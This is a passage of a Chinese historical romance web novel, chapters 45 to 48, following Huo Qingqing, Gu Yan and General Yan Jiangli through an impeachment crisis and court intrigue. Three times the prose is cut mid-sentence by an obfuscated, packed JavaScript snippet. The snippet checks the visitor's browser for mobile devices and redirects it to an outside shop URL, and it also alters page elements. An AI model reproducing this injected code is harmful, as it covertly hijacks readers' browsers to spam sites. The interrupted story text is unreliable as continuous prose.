霍青青在他肩头缓了一会儿,搂住他的肩轻声道:“顾大人,你怎么欺负人?” 顾衍觉得好笑起来,把她抱坐在他腿上:“霍姑娘说说,我怎么欺负你了?” “你……”霍青青蹙眉,低下头不知道如何说。 醉酒的霍姑娘就是这般迟钝的,顾衍把她搂进怀里,然后叫辰砂去厨房端来解酒汤,亲自拿着勺子给霍青青喂了。 许是放太开了,玩儿得痛快。今夜里散得早,宴席散时还不到子时。 等他们都躺地上睡过去,顾衍抱起霍青青,走在只剩下月光的廊下。他一路将霍青青送到她房里,将她安放到榻上拉上被子才起身。 “顾衍。”霍青青挣扎着起身拉住他的衣角。 顾衍覆在她手背上,垂眸看着拉住他衣角的霍姑娘,坐在榻边耐心地看着她:“我不走。” 闻言,霍青青抓住他衣摆的手才松开。 她坐起来,抱住顾衍,许是喝了酒,也许是揣着清醒装糊涂,借着这个酒没醒当借口,在他耳边说:“顾大人,我不会不要你的。” 这夜里,顾衍望见霍青青桃花眼里落着银月光,瞧见眼尾微红的千般风情。听着霍青青在他耳边说不会不要他。霍姑娘轻轻柔柔的声音落在他耳中,让他又燥热起来,不知何起的火焰在他身体里四处乱窜。 最后……狼狈地在霍姑娘额头一吻翻窗跑了。 霍青青站起身,看着他落荒而逃的背影觉得自己酒醒了七八分。 顾大人这又是怎么了呢? 45.金簪 第二日一早,霍青青便写了四封书信分送京都和白沙关至京都沿途的十三楼据点。 做完这些,霍青青才松了一口气,只望将离不要回京才是。 紧接着,霍青青召来锦屏吩咐了几句,又去寻了兰浔道别,待后日一早便启程回京。 今日夜深时,有人突然出现在霍青青的院子里。 霍青青眼眸微眯,看向来人。 此人水蓝色压水纹宽袖,内穿一件月白深衣,腰间坠着琳琅玉玦。手中折扇一展姿态风流,笑得儒雅随和:“久闻霍姑娘大名,如今一见,果然是个妙人。” “公子何人?有话不妨直说。” 见她无甚反应,男子勾着唇角:“在下晏枕。” 他若有似无地往外面瞥了一眼,以折扇掩住他与霍青青半张脸,声音轻缓:“雁将军托我告诉霍姑娘……” 霍青青抬手止住,伸手一引:“还请屋中一叙。” 晏枕点头,摇着折扇跟在她身后。 夜里来的顾衍遥遥便瞧见他们二人离得不远不近,那男人还凑近些以扇掩面。 他张口又合上,捏了手中的簪,脚下一转往回走去。 路过月洞门时,被守着的伍行看了个正着。他见他这般模样,怕是吃了瘪,遂嘻笑道:“怎么?顾大人亲手打的桃花簪子人姑娘没看上?” 前些日子在学宫里他就跟着顾衍进出首饰铺子,最后一日他瞧见自家顾大人拿惯二十斤绣春刀的手在打金簪子。 又是对图样又是合花瓣拈花蕊,好不细致。 顾衍闻言嗤笑一声,抬腿就往伍行踹去:“滚。我说了是送她的么?” 伍行似是料到他会如此,极快地闪开,顺手理顺自己的袖摆:“顾大人,你今年一过明年便二十三了,我知道你与霍姑娘前些日子打定主意在一起。你们登对我知道,可是你们真的坦诚吗?” “其实吧,顾大人。姑娘家小个五六七八岁也无甚大碍,要不看看青州学宫里那些姑娘?” 见顾衍冷着脸不说话,伍行更来劲了:“我瞧着那边青州学宫里知书达礼的姑娘不少,也有那出生武官家的,以大人这好相貌,要追姑娘岂不是简单?更别说大人还会打金簪,何必吊死在一棵树上呢?你说……” 话还未说完,他就被顾衍拽着衣襟往远处扔了。 飞在空中时,伍行骂了一句:“顾衍你该!” 顾衍觉得有些气不顺,一口气噎在喉咙里不上也不下。他烦躁地推开自己屋子的门,将那桃花金簪随手抛在案几上,发出“啪嗒”一声响。他坐在椅子上,双腿伸直架在桌沿,脑子里全是些乱七八糟的东西。 他越想越觉得憋闷,脚放下来,起身又握了簪,转身就从窗户跃出去。 随后一路轻功疾行到霍姑娘的房顶。 屋内,霍青青刚给晏枕续上热茶,神情复杂地看着他:“将离还说了什么?” 晏枕捧了茶杯,摩挲着碧玉杯壁:“他说至多明年十月,你若不亲自前去,他便代为处置。” 屋内一时静默下去,跳跃的灯火里,晏枕看不清霍青青的神色,他慢悠悠道:“或许没多严重,但霍姑娘也知道,雁将军守的是大煜紧要关隘,边关本就容不得半点沙子。若是出了差错,边关被破,死的不仅仅是五万锋锐骑,更是大煜数万百姓。还望霍姑娘,早做打算。” 霍青青垂着眼睫,喝下自己杯中半凉的茶,才声音柔和道:“将离说什么便是什么吧。他其实从来都知道,他在我这里的分量,不单单只是因为大煜,更是因为……” “他是雁将离。”她说着,抬头看向晏枕:“晏军师此行,怕不单单只是为了递这个消息吧。” 晏枕索性也不装了,从袖子里掏出一个巴掌大的木盒:“将军托我一并带给霍姑娘,他说今岁没赶上霍姑娘生辰了,待明年再回来陪霍姑娘。” 霍青青接下,打开来是一颗极其少见的火色宝石,刻成了狼头模样,坠着长长的青红流苏。 她笑出声来,如清泉流响:“他这人在很多事上其实固执又死板,他知道我喜欢这些漂亮的石头,每年总换着种类送我。” 她说着,将坠子拿起来,宝石在灯火里蕴出柔和带着生机的光芒。青红流苏微微晃动着,她一手撑着头一边看着晏枕:“晏军师,你定要在一些事上多留心。” “我一直怕将离太过固执己见,也怕他太过为了我而伤害自己。你回去同他说,不用顾忌我,若真的到了那一步,该做什么尽管放手去做。我信他。” 三个字轻飘飘的,却似有千斤重。 晏枕愣了愣,很快笑开:“你们的事,我也是今年才知晓透彻。先前还怕将离感情用事,如今看来是我多虑了。” 以前他刚认识雁将离的时候,觉得这个人身上一股子戾气,像是要把所有人都拖进地狱,每次拼杀都有不死不休的架势。 直到有一日,雁将离为牵制敌军,带五十骑奇袭敌军大营,那一日他受了重伤。 医官处置伤口时他在旁边看了全程,看着当年那个只有二十岁刚脱去稚气的青年身上无一处完好,只余下一口气。 他从始至终,都死死握着脖间一枚青色的玉坠,那玉坠被他的血浸透,他烧得恍惚,痛到极致时喃了一句:“青青……” 那时,晏枕看到了他的不屈。他打定主意,要随雁将离死守边关。 他后来去四处游历,等他回锋锐骑时,锋锐骑里多了一个女将军,那个女将军,名淮月。 灯芯“哔啵”炸开,他思绪猛然收拢,他看着眼前十八岁的霍姑娘,觉得有些眼熟又陌生。 他甩甩脑袋,玩笑般开口:“霍姑娘,我且问你。若是雁将军求娶,你可嫁?” 屋里静默下去,有细碎的瓦片破碎的声音响起,谁都没去理。 霍青青颊上的梨涡显出来,她说:“我与将离,是生死至交。这份感情,我很清楚。我们是生死相依过的同袍”。 闻言,晏枕也笑起来,折扇收拢拍在掌心:“我果然喜欢霍姑娘。” “那晏某便告辞了,从青州回边关,还需要些时候。” “等等,晏军师知道边关有人送折子往京城弹劾将离吗?” 晏枕心中一跳,眉头蹙起:“我从白沙关启程来青州已是两月前。一路赶路过来,还在想着,若是来迟了霍姑娘或许就回京了,届时若是没碰见还得往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078160|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京都。” “那折子……也是两月前便从白沙关送出,你竟不知……”霍青青只觉得浑身发凉,她闭目叹息一声:“劳烦晏军师,速回锋锐骑,彻查此事。” 他收了笑,起身一揖,是十足的文人礼。 霍青青取出一面刻狼头的青玉牌递给晏枕:“拿着这牌子,会给晏军师减少许多麻烦,也会少些时日。” “那便有劳霍姑娘了。只是霍姑娘……这事,你应当也该猜到是何人所为,我这便速回锋锐骑,还请霍姑娘决断好。”晏枕道谢接过来,折扇一展快步出门去。 霍青青送至门口,唤来辰砂吩咐他去送,辰砂点头,看了霍十一的方向一眼:“姑娘照顾好自己。” 待二人再看不到,霍青青揉着脖子斜斜靠在门框上:“顾大人原来还喜欢听墙角啊。” 只一息的功夫,一身红黑武服的青年就出现在她眼前,面上倒是不显尴尬,唇角勾起:“路过而已,见霍姑娘这院子月亮好,便在屋顶看月亮罢了。未曾想……惊扰了霍姑娘。” 他带着往常的笑,黑眸深邃,带着月光落在霍青青身上。眼前的姑娘此刻笼在月色里,面上被映照出一层银色的光尘,变得虚无了些。 他踏前一步,将霍姑娘笼在自己的影子里:“我什么都未曾听见,这便告辞了。” 说完,他便转身离去。 “顾大人。”霍姑娘的声音从他身后传来,轻柔平和:“顾大人既然好奇,那为何不听完?顾大人又在怕什么?” “我在怕什么?”顾衍踏前一步,将她逼至屋外的墙壁上。 他怕她说她愿嫁,她怕她说同雁将离守边关。 霍青青拉住他的衣襟,拉着他靠近自己:“我问顾大人,顾大人在怕什么?” 顾衍握住手中的金簪,垂眸看着霍姑娘。许久才颓唐地叹了一口气:“霍姑娘,我不安。” 他扣住霍姑娘的手,第一次这般强硬地吻下来。 霍青青没有挣扎,就这般让他□□着。 也不知过了多久,久到霍青青眼前有些模糊起来。顾衍才松开她又紧紧抱住:“霍姑娘,我不想到此为止。” 可又放不下…… “我说过很多次。我同将离,是生死至交,白沙关风月我们也曾一起看过。我不想让他死,也不能随他疯。我救下他的那一刻起,就已经不能再扔下他了。” “顾大人,那我问你,两年前,贺乾案,到底发生了什么?” 顾衍沉默下去,抱着她的手微松。 霍青青忽然将他推开,苦笑道:“顾大人,你看。你不也不敢说吗?” “顾大人,你到底想怎样呢?” 是啊,他到底想怎样呢? 顾衍自己都不知道。 他要霍姑娘同他试试,霍姑娘同意了。他要霍姑娘同他说她与雁将离是何种关系,霍姑娘说了。 他还想怎么样呢? 顾衍看着霍姑娘站在廊下看着他,他站在院落里站了许久看了霍姑娘许久,最后才转身离去。在院子门口状似不经意间回头时,就看到霍姑娘还站在月光下。 她只是站在那里,亭亭玉立,恍若月下仙。 46.回京 这几日都不见顾衍来,霍青青终是叹了一口气。 来时马车慢行,回时倒是轻车从简了。 霍青青今日正在梳洗,便听到三声敲门。 “进来吧。” 来人,是顾衍。 他站在门口,看着霍姑娘取了木梳子给自己绾发,踌躇着还是走进来。他站在霍青青身后,接过木梳,沉默地给她梳发。 他正欲开口,却又有人站在屋外敲响房门。 得了霍青青的话锦屏才推开门,将手中急件递给霍青青。 霍青青看着那个红点,不知为何心里就慌了一下。 她拆开来,是爹的笔迹。 朝中有人弹劾白沙关守将雁将离守关之时擅离职守,雁将离听召回京,已至嘉南关。 嘉南关…… 距京都,半月有余。 她今日便从青州快马,应当能截住。 “锦屏,牵飞雪来。”霍青青起身将顾衍按坐在椅子上。看着顾衍,微弯下腰摸上顾衍的脸,摩挲过顾衍的眉眼在他额头上落了一吻,笑道:“有些事要做,我得早些回京都。顾大人跟锦屏他们慢些回来便是。” 顾衍看着她捏在手里那封信握住她的手起身:“破月能跟上飞雪,我陪你。” 霍青青思衬片刻,还是按下他的肩:“你的伤不能一直纵马。” “顾大人,你乖一些,跟锦屏他们坐马车回来。我会让阿浔同十三楼的人给你们安排住处。” “是何事?”顾衍沉默许久,抬起头定定地看着霍青青。 霍青青没有言语,等听到外面飞雪马蹄碰在地面的声音,她才俯身环过顾衍的肩背,在他耳畔轻声道:“是将离,我要去将他拦下来,他眼下不能入京。” 这次领锋锐骑击退南羌他本该凯旋,但被人先一步递了折子弹劾。若是入了京,如今朝堂局势,皇伯伯本就疑心重。将离不在他掌控之中又擅离职守,按着将离的脾气,她不知道将离会说出什么话。若是牵扯出更多那后果不堪设想。皇伯伯或许不会在南羌北蛮蠢蠢欲动的时候杀将离,但她也同样拿不准。 她不敢拿将离的性命做赌。 顾衍气息有些不稳,他紧紧握住霍青青的手腕:“我陪你。” “顾衍。”霍青青从他手里挣脱出来:“如今你不能出事,将离也不能出事。南羌北蛮同时起兵,事有蹊跷。又逢有人递折子往京都。此事可大可小,但在我查清楚前,将离绝不能入京。” 说罢,霍青青便将自己的手从顾衍手中抽出来,她走到门口接过飞雪的缰绳,最后还是朝着顾衍笑道:“顾大人,你背上的伤太深了,还有你瞒着我的那些,你又能瞒我多久?顾大人,好好保重,我身边带着十一和辰砂,没事的。” “我说话从不会食言。” “顾大人,好好保重。我们京都再见。” 霍青青走出去,低声吩咐了锦屏:“你们一定要看好顾大人,你也同伍行说说,别让他纵马,无论如何,一定拦下来。” “姑娘,你这又是何苦?”锦屏叹了口气,带着命令前去找伍行。 顾衍看着霍青青翻身上马,带着十一和辰砂两人打马而去。他垂眸看着自己手中那根桃花簪,一点点握紧,他本想……送给霍姑娘做生辰贺礼的。 昨夜里的事扰了他一整夜,他反反复复在问自己,想要的想做的是什么。他想要霍姑娘如何做。 可思量这一夜,也没个决断。 他在初时就选择走下去,他一直在告诉自己先试试,等真的到了那一步再说不迟。哪怕是青青一直反反复复告诉他会走下去、不会食言、不会不要他,可到头来昨夜里仅仅是别人一句你可嫁,就把他打得落花流水。 不安的缘由太多,他也放不下最后那道戒备,是矣,他也不能怪霍姑娘。 伍行说得对,两个人都不坦诚,那该如何走下去? 霍姑娘怕他对雁将离不利,选择隐瞒旧事。他怕霍姑娘将两年前发生的事抖出去。 都做不到编些谎言去骗自己的心,那便都说不出口。 可是明明都不想到此为止啊。 忽然有人站在外面敲门,顾衍恍惚抬起头来。 伍行站在门外,他被兰浔的紫绫一卷。 “兰楼主,你就算拦得下我,你拦得住他吗?”伍行短匕一出,兰浔紫绫就收了去。 兰浔掠过来,紫绫卷住他的手臂将他往旁边一带:“小青儿嘱咐我拦住他,那我就拦得住。再说他愿不愿去追,是你说了算吗?” 伍行沉默下去,他看着紧闭的房门,一时也不知该如何说。 这些时日来,看着顾衍过得好,他本是不愿说曾在留青山中见过雁将离。雁将离擅离职守就是因霍姑娘赶来青州后被抓去做血祭。 如今霍青青回去他也猜到是因此事。 边关守将,非召不可离关,更何况那时南羌正起兵,雁将离如此,是弃边关百姓弃大煜而不顾。 伍行握住兵刃,手指在门上轻叩了几下:“顾大人,霍姑娘已出城门。” 顾衍站起身拉开门朝着外面看去,他摩挲着手中的金簪,缓缓道:“兰浔,要打吗?” 闻言,兰浔掩口轻笑,紫绫绕在手臂上,松松散散绕了好几圈:“我不与顾指挥使打,但顾指挥使可要想清楚了,小青儿临走前吩咐了锦屏和我们拦住你。她为的不是其他什么,而是你的伤。” “你觉得她在京都看到她好不容易养好的人又崩裂了伤口,她真的会高兴吗?她不会心疼吗?” “我说顾大人,你也别让我们为难。小青儿若说要拦住你,那我们就是被你全杀了都要拦。不然你以为,小青儿为什么让锦屏来告诉我?” 兰浔说着,自护栏上跃下来,长长的紫绫逶迤在身后,她面容少有肃穆,此刻却没有丝毫说笑的迹象:“十三楼,十三杀,我们每个人为了小青儿,都是可以不论生死的。小青儿要保的人,天王老子来了都带不走,除非……” “我们已死。” 许是觉得她说得太过严肃,兰浔又轻轻笑了:“可是回程上,只有锦屏与寻春两人跟着你与伍行。锦屏与寻春她们被伍行拦下,缠斗间被顾指挥使骑着马跑了。那我们也没办法,路上十三楼的人会想办法拦下顾指挥使,端看顾指挥使怎么走了。” 兰浔已经说得太多了,她知道顾衍是聪明人,定然不会让他们再难做。 “只是,医老叫我嘱咐顾大人一句。”兰浔顿住脚步,微微侧目看了一眼顾衍:“他说顾指挥使若强行纵马, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13096890|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便自己听天由命。届时,要是惹小青儿不开心了,得算到顾指挥使自己头上。” “我知晓了。”顾衍默然,那便等等吧,他会快些。 …… 远在千里的朝堂之上,明顺帝坐在龙椅上看着底下递上来的折子。 福公公随侍在侧,取了折子呈给明顺帝。 这些时日里,多少朝臣上折子弹劾雁将离,一是弃边关二是弃百姓三为弃大煜。若非霍书出面,领霍家一派力压,他倒还当真不知道怎么办了。 雁将离身份本就特殊,当年恰逢无将,将他提拔上来最后将五万锋锐骑交给他亦是有几分看在霍家的面上。 若当真是在守关时擅离职守,这必要惩罚。但他如今早已击退南羌功过可抵,只待他归京便能查个清楚。 因着心烦意乱,明顺帝下朝之后便去了栖凤宫。看着栖凤宫里皇后闲来煮茶,闻着满室茶香心情才好些。 皇后给他倒上一杯煮好的茶,一边起身站在他身后给他按着太阳穴:“皇上这几日,是不是又烦了?这些个朝臣,日日里斗没个停歇的时候,皇上不若让他们先打,保重圣体才是首要。” 明顺帝闻言,端起茶盏饮了口:“小婉你不知,宋世荣不知道哪里得的消息,那折子明明是直接送到我这里的。他隔日也上了折子,说底下有人状告雁将离擅离职守。” 后宫本不该谈政,但如今局势,他也是心烦。 皇后闻言笑道:“那皇上怎么想的?先皇在世时便说霍家是皇上唯一可以信任的朝臣。” 他已经给了霍家最大的信任,八万青骑,五万锋锐骑,如今都在霍家手里。霍家如今只有霍承阳还在朝中为官,怕就是想到这些,怕功高盖主,让他放下心来。也是先皇错信宋世荣,才使得宋氏朝堂之上做大,如今盘根错节难以拔除。 如今大煜朝堂之上分为两派,他也知晓,只望能尽快拿住宋世荣的把柄才好。 而霍家本进退有度,这么些年了也为大煜朝堂出力无数。 忠臣良将,他自当用。 况且霍家坦然,他也是打心底信任。 但雁将离,不算在他手里。 雁将离此人,行事乖张,当年拜将之时,便将所有的封赏都给了霍青青。 如此这般,怕是……需从长计议。 今次叫他回来也好,该收则收该赏则赏。如今被宋世荣拿了这个把柄,便也抹不去。 至多功过相抵,或是雁将离抵死不认最好。 “禀皇上,宋相于御书房求见。”福公公的声音自外间传来。 皇后手一顿,明顺帝无奈站起身:“我去去便回,今日在这边用膳,晚上宿在这里。” …… 御书房内,宋世荣行过礼后自袖中摸出一纸密信呈上。 “还请皇上过目。” 明顺帝拆开来扫了一眼不怒反笑:“宋爱卿如何证明这些是真的?” 宋世荣垂眸,拢着袖子缓缓道:“两年前贺乾案,圣上当真不疑吗?” 明顺帝睨了他一眼,眸中隐带冷色:“宋爱卿,不该插手的东西还是不要插手的好。” 御书房内静下来,宋世荣扫了一眼旁边的矮几坐榻微勾着唇角,行着礼退下:“臣,告退。” 47.我想见她 两年前贺乾案,贺乾查出同安平王遗子有往来,证据确凿下,顾衍将其诛杀。那安平王遗子,亦是那时便死在贺府。 明顺帝记得,安平王遗子,是他亲自去认的。 皇室秘辛,少有人知。 他那日派顾衍前去时,便说了杀无赦。 宋世荣如今竟能再度查出旧案,也不知是哪里来的消息。此事必定不能让他人知晓。 宋世荣…… 明顺帝眼眸微眯。 他凭什么以为,他会不信霍家去信他? …… 官道之上,一队玄甲骑兵踏过,为首一人玄甲长枪气势如虹。 如今已快至大煜京都,白沙关已平,他今次听召回京当是凯旋。雁将离握住长枪,再有几日,便可归京,也不知青青是否已归来。 “将军,要不歇一日?” “不。”雁将离缰绳一拉,微减了速度:“你们歇着,我先走。” 锋锐骑虽擅急行军,但急行军尤为消耗体力,如今已行了十余日,许多弟兄也觉得累。 他们也知雁将离急切,但又不能让他单骑入京,遂一咬牙都追上来。 雁将离手中缰绳拉紧,速度慢下来:“等到了京都我请你们喝酒,多少都算我的。” “然后让霍小姐结账?”副将打趣了一句。 雁将离没答话,微微俯下身伸手拍拍马脖子:“听雪,快些回去就能找飞雪了。” 他话音刚落,听雪就兴奋起来,很快又将后面的人甩开一截。 后面的人勒停了马,也都相视摇头。 副将一扬马鞭:“走吧,我看他俩都急得很。” …… 四日后,大煜京郊。 有雪白快马如风,青色身影低伏马上。这些时日,霍青青一路疾驰,路上少吃少眠,只觉如今有些昏昏沉沉。 “飞雪,再快点,等歇下来回府里给你凑些好吃的。”霍青青声音很低,于风中飘散。 这些时日饶是飞雪也有些受不住,她本已在驿站换马,可飞雪又离不得她。早知便不该牵飞雪。好在飞雪从前随她奔袭惯了,今次也算是重拾了。 飞雪闻言,果然撒开马蹄子就朝前奔去。 只到半路,霍青青便依稀看见有一队银甲骑兵,是……霍清风? 霍青青眼前模糊,直到有人近前来,她才看清。 “哥。” 霍清风稳稳将她带到自己马背上扶住:“我走时怎么跟你说的?” 霍青青抓在自己的衣角上,半晌抬头道:“哥,将离……将离他不能入京。帮我拦下他。” 霍清风抬起手,又轻轻落在她头顶:“先睡会儿。” “你别说话,我知道他不能入京,但这是他的决定。青青。你知不知道他千里奔袭不顾一切回来是因为什么?” 霍青青垂下眼睫:“我知道。我明年十月前,会亲自去一趟白沙关。可是……哥,这次,你同十一他们帮我拦住他。” “你不知道。”霍清风打马慢行,抬头看着眼前近在咫尺的城门,眸色深深:“他不是因为其他任何事,他就为了见你而已。” “青青,你是不是错估了他对你的感情。”霍清风知晓青青对雁将离,止于挚友,其实他也明白,青青于雁将离代表着什么。 青青是雁将离的命。 他能知晓雁将离把青青看得多重,因为他同样把青青当做自己心中的一束光。他有愧于青青,但是愿意看着青青过得好。 顾衍……不适合青青。 顾衍对青青隐瞒太多,相互猜忌相互不信任的人,哪怕已经情起,也走不到最后。猜忌永远是大忌。他也不愿看到青青一直被他试探。 既然都不肯说不肯去相信彼此,那便该抽身而退。 雁将离,会是青青很好的选择。 他更愿意看到青青无忧无虑的,跟能敞开心扉的人在一起。 旁人说雁将离固执己见生性噬杀,但他对青青,确是全心全意,这些年有目共睹。能性命相依毫无猜忌的人,才能成为彼此的盾,牢不可破。 霍清风低头看着青青,见她的手抓着马鞍边缘抓得骨节泛白。 最后无奈地叹了一口气,将她的手拉开:“青青,雁将离比顾衍要好。” 许久,在已踏过城门后,他听着青青缓缓道:“可是我与将离,是挚友。我们谁都不该被情爱禁锢。挚友是可以相伴一生的。这份感情已经超出情爱太多,在情爱之上又不同于我与你。我们都怕彼此被划到框里,那些条条框框,我不喜欢,将离也不喜欢。” 霍清风闻言,低笑出声:“选择权一直在你自己,你如何都好,我和爹还有爷爷,都是你的后盾。八万青骑,永远在你麾下待命。” “青青,我们只想你过得好。” 哪怕有朝一日王朝倾覆,他们也会保青青无虞。 霍青青抬起头,看过京都熟悉的街景,霍清风在带着她往霍府走。 “哥。”霍青青终于笑了,她笑着道:“若是我跟顾衍不成,我就去陪你镇守边关。” 霍清风屈指弹在她额头:“边关不需要你来守,我不白吃饭,是拿着俸禄守边关。我们家的青青只需要在家里花花钱置办喜欢的衣服首饰就好了。” “如今局势,青青应当比我清楚。朝中暗涌已久,你离去三月有余,就又变了模样。”霍清风纵马踏进霍府,直牵马到霍青青卧房门口才把她接下来:“听话,好好睡一觉,我替你去拦。” 听到霍清风这句话,霍青青总算是放下心来。 这一松懈便觉得眼前天旋地转,好在霍清风还未走,一把将她接住后叫来几个丫鬟。 他转身瞧见飞雪还站在廊下,便走过去拍拍它的背:“你也该去休息了,别守着,青青没事。” 飞雪马蹄子刨了两下地,就地躺卧下去。 霍清风这边吩咐人去抱些上好的草料备上水,那边吩咐人去给青青备水备膳。 都一一嘱咐之后,他才放心跃出霍府。 算着时日,雁将离恐怕也将到。如今朝堂,他未归最好,直接推脱掉,免得牵扯旧事被宋世荣拿把柄。圣上召见,也只是迫于朝臣弹劾才提前召他回京,他接旨归来,不知他的人,哪里知道他奔袭只需半月。从白沙关至京都,就算八百里加急,也要花上二十多日,也就是青青了解他才能如此清楚。 朝堂之上早有人来报霍青青霍清风已归京。 霍承阳多了个心眼儿笑了句:“我这双儿女多半是归京心切。” 明顺帝顺着他的话道:“青青此次青州一行,围剿长生教据点,灭杀长生教妖人有功。霍清风领八万青骑御北蛮凯旋,亦是大功一件。且让他们都歇歇,明日再觐见吧。” 这番话倒也无从反驳,霍青青女子之身赴青州剿灭长生教,又千里奔袭归京,无论如何,都该让她歇了这一日。 霍承阳行礼道圣明,心下却在骂自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114342|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家闺女,她定然是为了截住回京的雁将离才这般赶着回京。 他这个闺女一身本事,本以为这几年终于能消停下来,未曾想青州一案以身涉险,又碰上有人弹劾雁将离。这下她哪里坐得住? 雁将离自离了白沙关就极难追上,书信送不到他手上,青青也是知晓。 今岁青青身子弱,还敢这般折腾自己也真是……胆子大了。还好这次霍清风及时归京。 雁将离那个傻小子,总是天不怕地不怕,青青当初救他救出个大麻烦。只是看他也当真无意朝堂,才放下心。如今朝中局势不好,他回来怕是宋世荣又要做文章。 但愿雁将离别那么固执。 …… 果然,这方霍清风出得京郊没多久就碰上正被霍十一和辰砂拦住的雁将离。 雁将离单人一骑,见是他才勒了马:“霍清风。” 霍清风上前,扣着自己那柄宽刃剑朝他道:“我知晓你今次听召回京想做什么。但如今朝中乱着,你若不想青青遇上麻烦,就先回去。我会与爹一起周旋。” 雁将离心底嗤了声,果真人人都知道青青能拿住他。 “我想见她。我见她一面,见完就走。”雁将离翻身下马,知晓霍清风既然来了,自己就不能从城门进去了。 “青青本要来截住你,但她今岁身子弱些,我便先送她回府了。她为了截住你,奔袭半月,让她先睡一觉。”霍清风看着雁将离神色缓下来,他微微颔首:“白日太打眼,雁将离,你知道该怎么做。” “她今岁……”雁将离欲言又止,怎么会……医老今岁明明一直在照看青青。 霍清风知晓他想问什么,只叹了一口气:“雁将离,我也不知为何。她今岁似是比往年更加嗜睡,不知是不是跟癔症有关。” “那我早些去见她。”雁将离神色复杂,只觉得脖颈间的玉坠子微微发烫,透过血肉烫进心里。 “随你。”霍清风转过身去,他揉着肩颈侧过头来:“雁将离,你怎么看青青的?” “我……”雁将离抬手握住坠子,目光越过霍清风看向京都城门那方:“我们是生死相依过的同袍,她于我太重要了。我不知如何说,我只知道我为她而活。” 霍清风勾起唇角,松开剑柄:“如今你手握五万锋锐骑,那个位置你想过没有?” “青青不会喜欢,那我便不想要。” 雁将离没有任何犹豫,他看向林中斑驳落下来的天光,落在满地枯草上熠熠生辉:“霍清风,你们都问我想不想要,只有青青问我喜不喜欢。” 霍清风叹了一口气,笑道:“她同顾衍可没这么坦诚。” “她想那就放她去做。她喜欢就好了。我喜欢青青是我们生死相依。我在这世上走得太落寞了,霍清风,你与我又不一样。”雁将离无畏地笑笑,他牵着听雪,手中的长枪负在身后:“若是青青不高兴了,那我就把他宰了。” 霍清风腰间的宽刃剑出鞘,打在雁将离的长枪上,他笑道:“好小子。” 雁将离提枪一转:“我有事要与青青当面说。朝廷那边,就劳你和霍叔叔周旋了。” “你知道轻重就好。”霍清风这才离去。 他没走出多远,就听着雁将离说:“若不成,我就带青青回边关散散心。” 霍清风暗暗笑了声,这小子明摆着跟他统一战线的,既然他们对自己这份感情都明了,他也不会说什么。 青青喜欢,就够了。 48.青青啊 京都的夜里比青州寒凉,等霍青青再醒时早已是深夜了。 门口守着的丫鬟听到动静连忙去厨房端了蒸热的糕,再去端了茶水给霍青青摆上。 霍清风走时专门嘱咐了别吵醒姑娘,让厨房备了好些糕点给姑娘放着。 霍青青朝她点点头:“辛苦了,几更天了?” “二更天了,姑娘睡了五个时辰。”小丫鬟规规矩矩地回道:“霍将军怕姑娘饿着,专门备了膳食,姑娘用些吧。” “好,下去吧。” “是,姑娘。”丫鬟一福身出去了。 霍青青多披了一件厚些的衣袍,束上一根深青丝绦看着屋内昏黄的灯火觉得还有些困顿。 她一手撑着头,眼眸微闭着坐在桌边。 细碎的声音响起来,她似是知道来人是谁一般轻声道:“将离。” 声音静下去,许久过去,霍青青都没听到雁将离应声,无奈道:“将离,再不进来,我便接着睡了。” “若是困便接着睡罢,我在门外陪你。”雁将离站在廊下,抱着他的枪。 借着清亮的月光,霍青青看到他投在门上的影子。雁将离本就清瘦,但就是这般人,扛起了白沙关。 “傻不傻啊。”霍青青叹了一口气,起身将门拉开。 果真瞧着了雁将离。 雁将离转过身来,身后落了一片月光,他低下头看着霍青青耳边散落的鬓发,抬手又放下。 见着他一言不发,霍青青笑道:“这是怎么了?” 她看到雁将离眼中,有极为强烈的情绪在翻腾,无奈地抬手将他垂落下来的发往后掠了点:“将离,怎么了?” 京都的秋夜,雁将离一直觉得比冬夜更冷,他看着霍青青站在门口陪他吹风终是不忍。他压下心底翻涌的情绪轻轻带起她的手腕。 直到进屋里,关上门,他才坐下来。 看着桌上摆着霍青青喜欢的糕点和一壶热茶,还有些恍惚。 直到霍青青倒上一盏热茶放到他面前,笑着道:“驱驱寒,然后今夜,好好睡一觉。” “怎么不说话?”霍青青撑着头看他,袖口滑落下去,露出两个通透的玉镯。 雁将离端起茶盏浅饮了一口,慢慢看向霍青青,他的声音放得极轻,带了三分笑意。 “近乡情怯吧。” 屋子里又静默下去,霍青青在灯火间仔仔细细地看着他的眉目。 将离这些年在白沙关没怎么变化,还是当年一别时的模样。他生得也好看,初见他时也惊艳,到了如今,他早已如手中长枪,是经了沙场之上的血与火磨砺出的锋芒。 她与将离,已三年未见了。 